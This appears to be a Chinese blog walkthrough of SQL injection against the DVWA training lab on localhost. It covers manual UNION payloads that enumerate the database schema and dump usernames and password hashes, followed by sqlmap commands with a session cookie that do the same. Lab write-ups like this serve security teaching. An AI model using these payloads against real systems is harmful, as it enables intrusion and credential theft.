DVWA sql injection low

Dvwa

Low
1
1’
1 and 1=1
1 and 1=2
1’ order by 2#
有2列
select First name的列名 and Surname的列名from 表名 where id的列名 =‘我们输入的id’
那么我们首先爆出它的库试试,用单引号让id闭合
内置查询函数version()  user()  database()  @@version_compile_os
输入 1’ union select 1,database()#提交
在这里插入图片描述
可以看出目前使用的数据库为dvwa
爆表
在这里插入图片描述

1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

在这里插入图片描述

可以看到有两个表,我们爆一下users的列

1' union select 1,column_name from information_schema.columns 
where table_name='users'#

在这里插入图片描述
去找列password
1’ union select user,password from users#

在这里插入图片描述

sqlmap (window下)

python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" 

首先用sqlmap 跑这个页面 发现被重定向
在这里插入图片描述于是带着cookie注入

python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=22ahp2m7iq5tc9piq2rv3bib56"

在这里插入图片描述这次看样子成功了,但是中间会不断需要输入y/n
我们在后面加上参数—batch sqlmap就会为我们自动填写执行了
接下来我们用–dbs获取其所有的数据库

python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=22ahp2m7iq5tc9piq2rv3bib56" --batch –dbs

在这里插入图片描述
用-D dvwa 替–dbs
用–tables获取dvwa所有表名

python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=22ahp2m7iq5tc9piq2rv3bib56" --batch --dbs -D dvwa --tables

在这里插入图片描述
获取到表名后 用T- users 替换–tables 用—columns获取列

python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=22ahp2m7iq5tc9piq2rv3bib56" --batch --dbs -D dvwa -T user --columns

在这里插入图片描述
最后构造查询

1' union select user,password from users#

或者继续

python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=29a6trju7d131m61l01gk6vpc3" --dump -C "user_id,user,password" -T "users" -D "dvwa"

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值